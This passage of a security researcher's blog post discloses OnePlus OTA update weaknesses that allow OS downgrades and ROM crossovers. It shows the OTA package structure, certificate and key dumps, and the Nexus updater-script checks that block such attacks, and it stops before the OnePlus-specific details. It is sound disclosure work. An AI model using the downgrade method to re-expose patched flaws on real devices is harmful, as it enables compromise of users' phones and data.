<--

OnePlus OTAs: Analysis & Exploitation

By Roee Hay (@roeehay)
May 11, 2017
*
*

In this blog post we present new trivial vulnerabilities found on OnePlus One/X/2/3/3T OxygenOS & HydrogenOS. They affect the latest versions (4.1.3/3.0) and below. The vulnerabilities allow for a Man-in-the-Middle (MitM) attacker to intervene in the OTA update process in order downgrade OxygenOS/HydrogenOS to older versions and even to replace OxygenOS with HydrogenOS (and vice versa), both without a factory reset, allowing for exploitation of now-patched vulnerabilities. Moreover, the OnePlus X ROM can be installed over OnePlus One and vice versa, leading to Denial-of-Service. In addition, the vulnerabilities can also be exploited by physical attackers allowing for easy exploitation of some of the vulnerabilities we previously disclosed.

On OnePlus 3/3T devices, the physical attack vector only works if Full Disk Encryption (FDE) is off, however the attack can also be carried on 3/3T devices with a lock-screen password, in other words, on devices without Secure Start-up. As for the MiTM attack vector, there is some user interaction, however, it’s identical to normal OTA updates (see the video below).

We responsibly reported the issues to OnePlus Security on January 26 2017, but unfortunately OnePlus did not meet the 90-day disclosure deadline. We also offered OnePlus a 14-day deadline extension on April 9 2017 – to date, the vulnerabilities are still unpatched.

Android Over-the-Air (OTA) Updates

Before we dive into the vulnerabilities themselves, we will briefly describe some fundamental properties of Android OTA updates.

An OTA update package (OTA from now forward) is a digitally-signed zip file. For instance, let’s take a peek inside the OnePlus 3T OxygenOS 4.1.3 OTA:

[OnePlus3TOxygen_28_OTA_051_all_1704112011_37887cb1a1674e96.zip]
|-[firmware-update]
| |-adspo.bin
| |-BTFM.bin
| | ...
| |-xbl.elf
|-[META-INF]
| |-[com]
| | |-[android]
| | |   |-metadata
| | |   |-otacert
| | |-[google]
| | |   |-[android]
| | |     |-update-binary
| | |     |-updater-script
| | |-CERT.RSA
| | |-CERT.SF
| | |-MANIFEST.MF
|-[RADIO]
| |-static_nvbk.bin
|-boot.img
|-system.new.dat
|-system.patch.dat
|-system.transfer.list

The certificate is placed under the zip file comment section. For instance, here is the certificate information of the above OTA. (Code ripped from AOSP that dumps this information from OTAs can be found at our GitHub repo):

[
[
  Version: V3
  Subject: [email protected], CN=OnePlus, OU=SW, O=OnePlus, L=Shenzhen, ST=Guangdong, C=CN
  Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5

  Key:  Sun RSA public key, 2048 bits
  modulus: 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873
  public exponent: 65537
  Validity: [From: Thu May 07 10:25:19 IDT 2015,
               To: Mon Sep 22 10:25:19 IDT 2042]
  Issuer: [email protected], CN=OnePlus, OU=SW, O=OnePlus, L=Shenzhen, ST=Guangdong, C=CN
  SerialNumber: [    8abe4e1a e1d847f1]

Certificate Extensions: 3
[1]: ObjectId: 2.5.29.35 Criticality=false
AuthorityKeyIdentifier [
KeyIdentifier [
0000: 54 61 E2 B1 A9 15 E1 4D   9F 0F 92 DD 48 01 13 31  Ta.....M....H..1
0010: A8 49 AE 64                                        .I.d
]
]

[2]: ObjectId: 2.5.29.19 Criticality=false
BasicConstraints:[
  CA:true
  PathLen:2147483647
]

[3]: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: 54 61 E2 B1 A9 15 E1 4D   9F 0F 92 DD 48 01 13 31  Ta.....M....H..1
0010: A8 49 AE 64                                        .I.d
]
]

]
  Algorithm: [SHA1withRSA]
  Signature:
0000: 25 AD 49 5A DE A9 8E 3B   65 DA 3E D4 B0 58 D9 0A  %.IZ...;e.>..X..
0010: E2 44 DD E2 49 8C EA 26   88 87 61 A0 C4 F3 A9 70  .D..I..&..a....p
0020: BD 58 2E 7D 64 B4 27 6B   20 98 BD 87 52 8E 7D FE  .X..d.'k ...R...
0030: BF B1 38 03 F7 4B DB 53   0C 0A 0C BE 94 55 EC 99  ..8..K.S.....U..
0040: 68 1E CD 30 D0 B7 81 53   7E 17 DB 87 29 74 3F 6B  h..0...S....)t?k
0050: 06 A6 E2 74 91 02 CC 6D   E2 25 25 EB F0 6E B9 4E  ...t...m.%%..n.N
0060: E8 2A D7 24 23 65 8A F6   98 5F 05 F7 A9 DB 42 48  .*.$#e..._....BH
0070: 92 AC 76 0A 37 C1 58 69   52 E9 C5 AA 30 CA B5 6E  ..v.7.XiR...0..n
0080: D3 65 41 5A B6 91 1C 33   87 76 20 F2 8F 7C 87 77  .eAZ...3.v ....w
0090: 97 F8 1D 1E 80 2E A1 B9   8E 90 3B 8E 55 1D FA 1F  ..........;.U...
00A0: 01 B3 09 90 CC 8F 17 33   F0 E9 82 3C BC 83 66 44  .......3...<..fD
00B0: 96 30 89 2B 2F AB B0 D1   09 A4 A8 6F EF CD D3 57  .0.+/......o...W
00C0: D6 96 04 D0 DD AC AA 9F   A7 9E 1A EA 3D D9 D5 D8  ............=...
00D0: 18 C1 72 7B E6 6F A5 27   D9 25 B0 A8 41 4C A2 AC  ..r..o.'.%..AL..
00E0: 35 E4 61 47 B0 34 C3 73   DE 8E EB FA D7 FF CC 0D  5.aG.4.s........
00F0: 88 AA 93 50 A9 10 81 7E   6A 42 2A B8 9B F2 44 B7  ...P....jB*...D.

]

Once the OTA has been downloaded and verified (the certificate public key must be one of the keys placed in /system/etc/security/otacerts.zip), the platform reboots to ‘recovery mode’, which verifies it once again (this time the certificate public key must be one of the keys placed in /res/keys). Then a script, updater-script (provided in the OTA) which is in charge of the update process, is interpreted by update-binary (also provided in the OTA). Another vector for pushing OTAs is sideloading them via the recovery mode UI, which is also possible on devices with a locked bootloader – hence the digital signature prevents both remote and physical attackers from providing malicious OTAs.

Potential Vulnerabilities

There are 3 potential vulnerabilities with the OTA verification process described above:

  1. Downgrades. Nothing verifies the OTA date against the installed build date.
  2. Crossover to a different product’s ROM. While the OTA and the vendor are bound together (through the keys), there is no binding between OTA and the product. What prevents an OTA of one product to be installed on another product, of the same vendor?
  3. Crossover to another ROM of the same product. Some vendors distribute different flavors of Android (different ROMs) for the same product. For example, OnePlus OxygenOS (global) and OnePlus HydrogenOS (china). What guarantees that an OTA of one ROM wouldn’t be installed over a current installation of another?

We will now elaborate on each of the potential vulnerabilities, and see how Google Nexus & Pixel avoid them (where relevant).

Downgrade Attacks

An unauthorized OS downgrade is extremely problematic as it enables exploitation of now-patched vulnerabilities. Consider our previous OnePlus findings, CVE-2017-5622, CVE-2017-5624 and CVE-2017-5626. Those vulnerabilities, patched in recent OxygenOS versions, allowed a malicious charger to unlock the bootloader without a factory reset & also disable dm-verity – being able to downgrade the OS renders the patches completely useless.

There are 3 different goals that attackers can achieve by downgrading the OS, and exploiting old vulnerabilities:

  1. Subvert confidentiality: Exfiltrate user data.
  2. Subvert integrity: Execute code on the device for other purposes.
  3. Unlock/jailbreak the device.

The third goal is different, in the sense that it implies a stricter threat model. iPhones fall under that category, always preventing downgrades (except for a short window of time after a new version is released). The Nexus / Pixel devices, however, are more lenient, being unlockable handsets. Since the third threat is irrelevant for them, they allow OS downgrades, however only if they are in the ‘unlocked’ state. The security of downgrades (i.e. preventing the first and second threats) lies within the fact that transitioning from the locked->unlocked state requires user interaction, and yields a factory reset (i.e. losing user data).

Downgrade attacks are prevented in the Google Nexus/Pixel devices by their updater-script. For example, let’s take a look at an updater-script of a recent Nexus 6P OTA:

(!less_than_int(1488578051, getprop("ro.build.date.utc"))) || abort("E3003: Can't install this package (Fri Mar  3 21:54:11 UTC 2017) over newer build (" + getprop("ro.build.date") + ").");
getprop("ro.product.device") == "angler" || abort("E3004: This package is for \"angler\" devices; this is a \"" + getprop("ro.product.device") + "\".");
ui_print("Target: google/angler/angler:7.1.2/N2G47H/3783593:user/release-keys");
show_progress(0.650000, 0);
ui_print("Patching system image unconditionally...");
block_image_update("/dev/block/platform/soc.0/f9824900.sdhci/by-name/system", package_extract_file("system.transfer.list"), "system.new.dat", "system.patch.dat") ||
  abort("E1001: Failed to update system image.");
show_progress(0.100000, 0);     
[...]
ui_print("Patching vendor image unconditionally...");
[...]
set_progress(1.000000);

We can clearly see that it prevents installation on devices with a newer image, by comparing the value of the ro.build.date.utc system property with a hard-coded value. In addition, it also prohibits installation on non-Nexus6P (angler) devices, by comparing the ro.product.device system property to angler.

Another way for preventing OTA downgrades is to change the OTA keys for every release. In addition, please note that, at least for MSM-based devices, executing downgraded code (but not the partition flashing!) could also be prevented further by the bootloader itself upon boot – by the SW_ID OU field. However, at least on Pixel/Nexus devices, this is generally not used (different images have SW_ID with a VERSION field set to 0), probably in order to allow for devices to be downgraded if unlocked. Furthermore, using this approach requires a new bootloader to be bundled with every OTA, which is inconvenient.

Different Product ROM Crossover

Upgrading a product with another product’s OTA has unexpected results, such as making the OS unusable due to various reasons including hardware incompatibilities between products and per product OEM key which would cause Verified Boot to fail. Such crossover can be prevented by having the vendor generate per-product unique OTA key pair. Google does that for all products (but not for different models, see next). The following shows the /res/keys file taken from the latest recovery images of various Google products:

Product /res/keys
sailfish v4 {64,0xc21ce9df,{3092114913,3730537280,2255067817,1824105612,3514227512,23862228,4018828910,569387614,1666835248,3727768975,3419413126,658294739,2963162294,3680079678,3889919067,1394243876,263494016,2925627801,3185431148,792911655,4207325429,2934404495,4055601841,3507620385,639159497,3945943435,3713260915,3874401925,2458777815,2185454245,2323467720,1887818924,2907304277,3433699433,4025602760,655455580,4264381028,3228345786,3176546524,1044005454,2013191089,2368132519,3663564760,399279237,3901653211,1049212394,877022387,1717186113,3495771322,2504972980,4161449949,3548441877,4156751992,3638549180,1602395742,615744446,4277086270,3570684216,1075636972,2723749538,4271116634,4117047087,1313013404,3354445122},{1047836605,3975917280,457274108,3998621322,4100763083,3692460323,2537309577,4149527958,2210340304,3137599939,1999785837,1660826939,1104106797,2881528099,1777840429,2468209851,452569984,3331175034,1537534725,3597159293,2510159484,4081499182,373806903,3432723191,1155128487,4184226080,24014227,2444876582,1794677625,1967354566,492469567,2767860065,3453652908,766515035,3739256839,263791009,1814471827,296957538,2403036272,3625214599,18773766,3076470692,4113766916,1746129725,3403612398,1479477582,3800802646,3487996737,1887226850,3245334433,22666778,1019341065,586053044,437778193,2342193887,357951423,3305378761,4030098503,2535170399,2358900739,1524379300,3828787988,1362444138,2359385002}}
marlin v4 {64,0xb0425d71,{1023622255,2502858204,4249538092,2485122547,628348022,3682068307,168572986,2746150226,2756638887,4057432688,3209024676,1067369747,1364348971,986316860,2882614559,1348531057,590182430,2066383913,4106870690,4275147330,959870853,3648676048,1423139911,1464772799,1880361588,2930107697,2645344430,484153102,522130228,990726603,701403893,514948539,353887514,842243960,2722218366,1342190517,3122870331,1518379900,3297713325,1553412322,1148077320,3062283644,1054772510,3093677824,2075868670,1745627641,2754633497,3608863853,58803327,3194360273,3067374119,3475360619,4139261645,234323709,2852165752,2397809059,2687768588,3701439017,3708429940,1769245931,2687953292,1069327396,723791662,3401330872},{2950721280,3255259322,1925621034,49814302,1169888866,691386441,2604959015,2692419510,1810254706,2639967349,1739578625,3078952990,3357670547,1319464726,3592423310,1479438499,982173765,2794475240,2247932383,341652433,554236733,1428478360,974311586,3692511084,3265308598,943074691,2604306589,429348560,3679944136,198600615,3040785259,145605407,2437294033,274727004,1289637406,895635173,3315331518,425789769,2322513649,3259744874,1869972158,489380842,940269785,1895493266,859575450,1300946507,2810891627,1882999237,2404189079,2824114451,4137242254,2320238218,2662840339,3285485487,3735487675,929834334,210067681,2311415793,2460302736,3885686779,1048253112,1643896365,1253111570,2993913719}}
ryu v2 {64,0x81a64367,{3507410857,99743808,2565371821,4078822552,3090252105,356464292,3184907878,430091501,4016578241,961418987,1717508529,2672508650,2346236481,3567499331,2019738121,1015149571,3057301045,2003795754,807019313,3567244599,451391120,1285527330,2280959526,2842369246,2689627738,2177143991,3277199476,1908847907,544953837,2893208683,3195535653,409194049,1057700491,3340855046,3127254969,194515089,3035318510,2807829820,1261334769,1501623272,2366164989,647370810,1479836029,3847194203,3789257779,2356604328,2266781126,2322424094,3848908148,186047672,2307611871,1079490018,2838269065,894222626,1132522808,1647056073,3884924435,304280720,3528410368,108543497,1570392134,2815994348,2426303862,3277162373},{3459964849,3370831347,2284286560,831753360,3230019077,1319514331,977120945,213291966,3401807279,2585849179,2862655529,2222956191,2807774714,934219720,853822985,3703581526,850833169,2491502797,165694765,2848245415,45065633,672492572,3353593425,1955762243,3273939935,2782176483,94602245,127690261,1153776698,534738279,2195781572,2739917596,1446766640,4068693346,4233389768,4150429790,2263503294,3414932708,1864979596,746320396,2704341108,3787724421,1558962257,2537862584,2264254091,311554439,1323007570,3122591103,2573971469,3349719289,3743866152,2829973784,1151237112,915980814,3744110929,2622499355,542578854,1606082160,4132872748,2679376059,1961549157,3438502186,4135706240,1902098381}}
bullhead v2 {64,0x19d30c5b,{314358829,2491998043,4261729432,2937793049,1378128321,908017048,1588235959,2848749823,2337801124,604735083,4234774025,1428250037,757205693,3112022069,2852057753,1855301056,759182209,3211850950,2365534766,1077899956,63974725,1667800830,3507866962,4220982027,1474169895,1932976787,1378003859,1185086226,1477110683,2835864578,2673406921,2793166234,458310406,3148860713,2662641377,1247390916,756987493,3124548069,3506692028,2766939121,2084058343,192047236,1061098055,1908166783,3226487131,880726136,3359842552,2445404052,2594892210,2815633735,3552274625,1456061969,2490429445,1031099677,1657468015,2166256058,3229402271,1325755065,3415731400,318940657,830470575,1698004112,1608040767,2836600310},{3905301152,2584918573,1607960273,2758564704,4146821101,925119620,1178562399,4127029051,2051941546,2396491003,837058913,2400515816,1091046798,1950667056,2531659241,1205621334,1457499664,651779287,3571846521,1060192827,845218135,1629210985,3649431933,1545080799,3654933876,2377625720,2735597242,146268865,4136297931,4107700774,4254397131,876335467,520759960,1781146154,2305944,2649932480,4242044722,1115234597,2098405357,2878832406,438701330,2508314759,2057546122,2316409717,2841485473,1912195487,1473884030,1548698309,4208123145,1528056035,1451952452,85526262,1128851420,213552186,2932873708,2086901239,440274262,2338394769,3069379398,3529895174,22409441,217860509,4247238293,62101374}}
angler v2 {64,0x305887f5,{2251903907,3265238767,3583888785,1852700457,2265252110,298619493,206938040,124967916, 2662502016,209186564,1129792665,2906270260,1575293878,4170508307,3924298556,373803077,1237478278,2366352916,1216820747,4113859055,4022849684,3404641735,1600487143,2603990008,1979219262,2547567301,770299238,593477875,565474388,2363568367,4156019869,3758471667,2194625082,2596216998,3472129383,3571617922,2243162,2242494145,449995661,2821716865,3243294576,295192943,138971952,4184607513,2753229806,1540588420,3577793057,1481002686,518570835,372423045,4140273309,3304995679,380079732,3990113277,3454691708,1737039316,2645987961,1901080579,1453429069,4271131358,1508096882,2097775111,4266223423,3774689135},{2035942019,3648782740,1004217667,3536372406,3481159276,638483176,2238240917,2970363541,3410183296,2464675118,1364616562,1703330535,603464157,3278193356,1270138060,3266158972,1436582350,1133255446,1369807198,556121153,1138833108,3649884557,2188494196,58478109,2754619717,1289697768,2671398378,644259927,1157104842,1446068454,4153102790,1251546576,3138827587,2197148432,1688649675,4003956021,3528215664,3663307491,3707152443,1675274737,2626262542,2613095102,1624481874,3937419189,299542043,4123943772,946470826,1760636487,967541608,1514383582,1790350270,1441790410,3990120557,4078273299,201519050,1333268235,2909508923,3055871759,3327044953,2808415054,1612902029,2657569288,926676322,36057231}}
fugu v2 {64,0x935c9ff3,{623374021,3124484183,2382215197,2947948575,2288265657,1822316819,291539715,1529275865,988239059,178385718,789740939,3900240574,2807793813,1434690450,2853120361,1535551571,3659391913,2802418842,3439812593,3479862883,2251715542,2374980893,2822471710,421550622,2093547507,1124442020,1033689365,4279280973,3244155575,1162577762,1634998148,1610917359,3425386560,3183394254,1726380972,2996132269,3715436056,4143509239,1976704513,3407940059,487279816,2973606784,841582828,1842831080,3248070049,163464194,3440284190,1919797313,703258022,2404056083,1233913620,3121576144,2531328529,175265267,3121692906,2576793934,2689038968,1472832074,1255462657,3060847836,745043097,1479548250,2950138713,2745240604},{445385898,453321431,2940363495,791640735,1441741253,3012656494,309208466,1907958378,963487253,1126069610,466326029,1792106226,2676720937,547720545,2709697004,129473615,2117094417,4204241981,1814300434,940417161,4088858827,3479346537,275162119,3039735038,2848333125,2689903418,3035840650,435582522,1957429360,2554809319,157330793,2987155983,3141616297,640366483,528107219,1225628976,1980276752,952593616,326808553,2939340279,744759550,998876642,947921060,3265548876,2797323848,2733970327,3429056781,2493189313,2252771657,2084083839,3397473538,469589772,1629763706,1472722990,1820321649,1283358243,2205023515,1857606779,4062280156,3572069571,4039078627,2944900639,3143957446,2356899024}}
shamu v2 {64,0x68505c63,{2182281909,3826953707,416288384,3225934110,276727383,647145470,3950486300,229287211,2227731676,614801633,1135604648,922634858,872998210,1512533349,252300999,2228998562,2672447637,2050882578,4079010668,3450072823,18686470,881633841,567691955,2170392499,1772288596,2613893662,1610404452,3242514816,1724928094,2385622861,1160560007,2049381514,1581728452,2712112225,1329642193,1235176952,2459693674,3075554592,3344684517,4141822430,1816550372,3642688219,855529524,4261076541,3350665701,3201741215,4052300600,3533239503,2420290406,3186625583,4076505745,2792720146,2113021797,1469902090,3779428107,1898863633,2782035387,3417916617,3301525686,376048905,3284670269,2986421902,3869654560,3564602332},{3917070661,1068715673,3176633314,2467197038,2471891236,2948807156,393999603,2921215014,1901729736,2587681282,2115610621,519987796,3826811828,3153153383,3074396108,2095881765,129997149,735938185,2584613758,2714772858,2129834769,1246537224,649835309,2810648783,4170004078,3195489895,4002580525,1090792428,1720561368,521761142,1279100949,724367987,2509314524,2240394677,950809150,1711193193,1354793118,2577078124,4219811794,3605661831,1413664388,3424119706,1155610126,4253581181,3890841448,284280000,3178487091,3858210353,362339226,1862267347,3658744891,2296839188,2794795755,1093135775,2993798572,364920638,2810425098,3334655794,3386038119,427581158,3336918841,3661776944,2687652575,1293366743}}
volantis v2 {64,0x73e951ff,{2586661377,3853060941,351347633,332365742,2549225609,3652981915,1788180872,1916637766,3924870267,3982667501,2469236779,1668397196,644539546,1371672383,2947718345,3187982352,3195718960,1374702639,1314857769,3428220978,1526907930,1680434686,688796741,1576992257,3368381120,2005988235,928960480,3592856960,548668356,2318867228,1897578323,3809351085,801399517,1116663608,1011389685,3073318531,249121443,572203468,516171228,3936811049,3505429342,1569540618,2842570995,2071809218,3052014464,3976278530,1396871167,1374044030,527804501,4047852811,822766518,914052639,4234171118,1545328657,1166840197,1957119373,3064127956,1380217549,1212895373,3862706409,29817631,1477286450,1742601815,3902103085},{194545340,2872366376,2487376483,2709374476,3431239584,518463704,3627985114,1391726804,3181709700,97069089,4270043058,1370856532,2366940374,2711754155,764630305,2306301468,4281720642,3551614214,1637423084,3847876046,3426907585,2061558047,3779197260,936470744,4204723040,2519060406,2096799612,333667854,327171957,3987583113,2547013629,3555094300,1310070168,3299045214,2501232977,2462120916,4193411417,297660215,3775367047,443449879,165030718,1456859165,2442498806,2368241435,2904466819,335396890,740078433,294213280,248859375,589551980,3677924512,1901246976,1839083608,1318697515,2142212715,2055501450,1851308982,941822290,1830372343,309612790,2981617428,2801658501,2671179821,2692721420}}
volantisg v2 {64,0x73e951ff,{2586661377,3853060941,351347633,332365742,2549225609,3652981915,1788180872,1916637766,3924870267,3982667501,2469236779,1668397196,644539546,1371672383,2947718345,3187982352,3195718960,1374702639,1314857769,3428220978,1526907930,1680434686,688796741,1576992257,3368381120,2005988235,928960480,3592856960,548668356,2318867228,1897578323,3809351085,801399517,1116663608,1011389685,3073318531,249121443,572203468,516171228,3936811049,3505429342,1569540618,2842570995,2071809218,3052014464,3976278530,1396871167,1374044030,527804501,4047852811,822766518,914052639,4234171118,1545328657,1166840197,1957119373,3064127956,1380217549,1212895373,3862706409,29817631,1477286450,1742601815,3902103085},{194545340,2872366376,2487376483,2709374476,3431239584,518463704,3627985114,1391726804,3181709700,97069089,4270043058,1370856532,2366940374,2711754155,764630305,2306301468,4281720642,3551614214,1637423084,3847876046,3426907585,2061558047,3779197260,936470744,4204723040,2519060406,2096799612,333667854,327171957,3987583113,2547013629,3555094300,1310070168,3299045214,2501232977,2462120916,4193411417,297660215,3775367047,443449879,165030718,1456859165,2442498806,2368241435,2904466819,335396890,740078433,294213280,248859375,589551980,3677924512,1901246976,1839083608,1318697515,2142212715,2055501450,1851308982,941822290,1830372343,309612790,2981617428,2801658501,2671179821,2692721420}}
hammerhead v2 {64,0x7a96190f,{2526431761,1739225627,1560237492,3313775523,3174171727,1182959616,1989036193,2462223655,405242505,3990059844,1872348759,625751286,936746741,783515409,881498657,504288246,2992499733,79945880,106056113,13101723,938611303,386143415,167292777,4007810062,241951531,4033124877,264375144,2357256675,43363751,1677899,516104204,622805238,3667130561,4032914196,4207667375,298055915,716114859,780646785,823449647,1647355018,479007727,848763661,276404266,4229969305,1472312055,1997103907,1404075409,867171224,2015278359,553693386,798500429,2497141898,1010860482,2060207785,1623596243,729448929,3962281066,764968431,2272608932,3132371716,3901073628,3951105103,3300281219,3359401071},{3060539512,2849718274,2424550585,1778928483,328968151,3162009018,4190756565,2455614595,218977347,4206932042,1879327712,1682592009,3574223544,350173063,3448179902,3475992782,923685055,2208906274,2039248736,2337765640,3726644204,1460797442,3358877812,2537467398,3959105161,3417593650,2879049834,423339193,2347926300,886604759,4017119583,1986283083,508719486,2981684956,2490343646,2859415810,3692308069,38705255,3520092101,174177293,1584151761,1298877609,466857614,3128933743,2280967246,4004704547,3969188850,134927588,1897787533,3927719567,1459803517,558663744,100574375,3176895787,1379570743,2374529094,1943177138,1818878651,3678960304,1170176212,3715439041,2233010139,2581970648,217744462}}
  v2 {64,0x9e1b3e73,{3960039749,3073200495,1987109221,1988989130,3199161155,4230369557,2742766037,3037890440,2014137554,4048070422,981333911,626907293,567715552,2604244995,792629107,2539518442,1093836903,801320144,2715711109,107096811,1500518112,280316596,1375449270,3270229596,1253891515,3182061153,2277348880,3441041682,2306382518,1428196497,1542717853,4181636203,2990248424,1835336540,1301167022,3524017361,95367770,2636584359,2108963501,1907916343,2005484846,263620723,2235318990,3238818770,1742517383,4213737409,246764300,1595147042,2580462673,1068523470,1721667336,3484736382,4195276688,2118718288,3674140128,3565492935,1190214502,3248684830,2971501986,3210120081,3985077448,3351720501,3450165558,3193350320},{1826662319,119167237,1412137674,832220486,3659373134,2818333854,2019067109,2965664175,3715883783,604166489,109281899,3736700407,3782871230,4164486689,947574055,2570489824,1157553269,2610603562,2933708796,2152533023,2353004465,3399070630,1818319793,752088995,3891986022,2075811729,3732104242,1390930457,2246122625,1424363003,2929136219,4287923521,3111467809,1888574545,2942715597,3468842897,761020228,2407221558,3274650860,3811051509,2716385929,3725443357,1099137147,2984297941,1132539434,1319293404,2553141790,1248107315,2940216786,1340911499,1160598116,1305082373,779107432,2354725832,3985269062,3154542655,199048748,4274191531,1351846522,1874990592,287121273,3615940826,2789934192,2168487083}}
razor v2 {64,0x6f985475,{261891107,638090366,140612718,571164743,2769131105,3710993750,443716715,1959910683,283514173,2002780343,1915365825,2583590099,276864588,4147379252,479398005,3248668598,451807014,2332078378,1105736818,1235715463,1190142178,463624641,935872603,2938065023,157937416,2320271720,3646936731,3870837099,3181287283,1457284953,3191559351,243944562,2580805060,2744981964,3219704993,2421993951,2641749091,2958570101,269012790,1855722866,215402799,1633100060,3915073319,1488985815,593030103,478168553,1978874671,3642114731,4164489455,4107528189,3302138489,1989982091,2472768677,1472773588,2834546078,2434405458,3928008577,1693263517,1334601900,358205989,2967329612,2803261590,3871171184,2937385219},{2992404287,4111361034,4292876222,3323426003,3640798434,3243281394,390419270,3649310203,1147709632,758806449,1110490130,155583625,3240212810,1519707142,3424304698,3155509105,4267095801,3751057651,176288413,139607369,3640161012,2930855351,1010201051,2089836548,273942930,431758844,2487542175,2654288860,3576050240,2276592134,2576759065,3745203790,4037693249,742782807,2608079925,536381111,1906990763,772373863,1353843230,2952439791,3654132407,3960045705,841394375,1486398154,162193437,3566775209,1790944907,3745635365,610040449,1885891636,2547508929,189241904,77944384,4060761862,3737959709,1177946800,3693817452,2037055243,3464108389,4154757827,862360232,1952900759,1646957795,2282603097}}
  v2 {64,0xd5ce9c53,{2837575717,1874705817,2612325599,3312884295,642577421,961614005,3642196260,799419895,765182081,1434422175,709136655,2843890744,1658104583,1163029469,2490839487,4086655826,2558567955,807988321,896538574,2761958214,2578932136,3826308271,1037794811,1181294069,3203619394,907964106,3875152981,2072929717,1766224536,4100616519,2840383553,1409613201,1811167037,547156959,4063012329,3814304579,1693565248,3594314556,275507006,492063956,1710729816,4279635684,1800021087,2521037045,2397365526,723792687,1397725991,266880813,3270863256,3089302866,2762578797,2705024842,4269603931,4173458189,4226671133,2067240990,843090436,4128919531,142299368,114220691,4025939634,2704766939,2936467000,2768488014},{2817335141,2809678032,553997707,4112555041,3177783995,3357555250,3109767056,686184897,3675225281,4174571018,3197904621,459341128,457414143,1848563011,2321614838,3994356399,4042238841,788292589,44301874,2589297870,2882841210,1894838777,2594603549,684369819,2929166984,2536143558,1972166667,2639088591,3321460507,2295138449,1599577473,3594145004,3530297590,3818103281,3651020107,2680531803,3819197463,1490719575,915649085,3580989806,4223535504,1448522174,2950489379,2304019520,4050231264,4128040895,1825785279,1922140472,1696299042,3376555071,3123142230,3555007857,4175033067,2890235372,1839213390,1690259627,3876227733,4068300539,3882241756,2407540198,182748002,255801188,4197346563,2136205901}}
razorg v2 {64,0xce734441,{3531945023,913657337,1224155131,3264262340,2112624199,527757285,2169755949,3745077087,2923460264,3655175502,4289379554,2601683447,2350916875,28001763,3879805858,3121094116,313080692,1553813907,4046021496,1650103578,4258598824,880070880,2906330417,2396395791,1044521819,1345544339,2364654275,2436864932,3302300027,3941185606,3330071836,1530252529,1310567549,3893369832,1281221585,2113307430,2366829830,3310609071,3041352144,3272512505,4103263249,2394005479,1287220047,1728857686,3660628588,4274783616,2577735533,3829975903,143012881,2087221763,467999259,528548859,1830014026,2320976360,2805972567,3770953294,3292366345,3355883562,3517650356,1588134292,462806612,3353543613,20185589,2479769576},{3918850411,358601210,2687130506,2571080733,4005714466,4174491759,2294283984,2398756006,1235940560,2880807393,1058567602,2797059880,446675673,1448607621,4060904634,3068484542,2705136755,3645144881,745830273,334158033,170400239,3307763980,3896953150,7443151,1057239996,3044495527,3939295449,3737535905,369819161,834824493,2875539168,666902858,1796973097,408620696,621809828,3800637098,3964097411,3708298547,3915184151,859865934,2170351043,3370170779,819267383,3070213227,1392207268,2620949004,1984785239,1781254693,1879767697,1894513105,3769843582,658976085,2689587832,2797789073,569651024,1747325901,4045825145,1079502,1124676715,364109418,3215825564,2154075619,2339011410,1737336551}}
  v2 {64,0xd5ce9c53,{2837575717,1874705817,2612325599,3312884295,642577421,961614005,3642196260,799419895,765182081,1434422175,709136655,2843890744,1658104583,1163029469,2490839487,4086655826,2558567955,807988321,896538574,2761958214,2578932136,3826308271,1037794811,1181294069,3203619394,907964106,3875152981,2072929717,1766224536,4100616519,2840383553,1409613201,1811167037,547156959,4063012329,3814304579,1693565248,3594314556,275507006,492063956,1710729816,4279635684,1800021087,2521037045,2397365526,723792687,1397725991,266880813,3270863256,3089302866,2762578797,2705024842,4269603931,4173458189,4226671133,2067240990,843090436,4128919531,142299368,114220691,4025939634,2704766939,2936467000,2768488014},{2817335141,2809678032,553997707,4112555041,3177783995,3357555250,3109767056,686184897,3675225281,4174571018,3197904621,459341128,457414143,1848563011,2321614838,3994356399,4042238841,788292589,44301874,2589297870,2882841210,1894838777,2594603549,684369819,2929166984,2536143558,1972166667,2639088591,3321460507,2295138449,1599577473,3594145004,3530297590,3818103281,3651020107,2680531803,3819197463,1490719575,915649085,3580989806,4223535504,1448522174,2950489379,2304019520,4050231264,4128040895,1825785279,1922140472,1696299042,3376555071,3123142230,3555007857,4175033067,2890235372,1839213390,1690259627,3876227733,4068300539,3882241756,2407540198,182748002,255801188,4197346563,2136205901}}

We can observe that:

  1. volantis/g (different models of Nexus 9) have the same key.
  2. razor/g (different models of Nexus 7 2013) have a shared key.

Therefore, there must be another protection layer – updater-script. For example, the following scripts are of recent volantis/g OTAs. Notice the ro.product.device system property check:

updater-script of the latest volantis OTA:

(!less_than_int(1490642563, getprop("ro.build.date.utc"))) || abort("E3003: Can't install this package (Mon Mar 27 19:22:43 UTC 2017) over newer build (" + getprop("ro.build.date") + ").");
getprop("ro.product.device") == "flounder" || abort("E3004: This package is for \"flounder\" devices; this is a \"" + getprop("ro.product.device") + "\".");
ui_print("Target: google/volantis/flounder:7.1.1/N4F27B/3853226:user/release-keys");
show_progress(0.650000, 0);
[...]

updater-script of the latest volantisg OTA:

(!less_than_int(1490642587, getprop("ro.build.date.utc"))) || abort("E3003: Can't install this package (Mon Mar 27 19:23:07 UTC 2017) over newer build (" + getprop("ro.build.date") + ").");
getprop("ro.product.device") == "flounder_lte" || abort("E3004: This package is for \"flounder_lte\" devices; this is a \"" + getprop("ro.product.device") + "\".");
ui_print("Target: google/volantisg/flounder_lte:7.1.1/N4F27B/3853226:user/release-keys");
show_progress(0.650000, 0);
[...]

Please note that, at least for MSM-based devices, such crossovers could also be prevented further by the bootloader itself upon boot – by the HW_ID property if different models contained a different HW_ID.

Same Product ROM Crossover

Being able to install an OTA of a different ROM means that the adversary could potentially increase the attack surface (additional software). Moreover, different ROMs may have different security patch levels. For example, the latest OxygenOS ROM for OnePlus 3T has the 03-01-2017 Security Patch Level while the latest non-beta HydrogenOS ROM for OnePlus 3T has the 12-01-2016 Security Patch Level. Many vulnerabilities have been patched since then.

Preventing such upgrades could be done, again, by the updater-script – simply check some system property that identifies the installed ROM.

The OnePlus Vulnerabilities

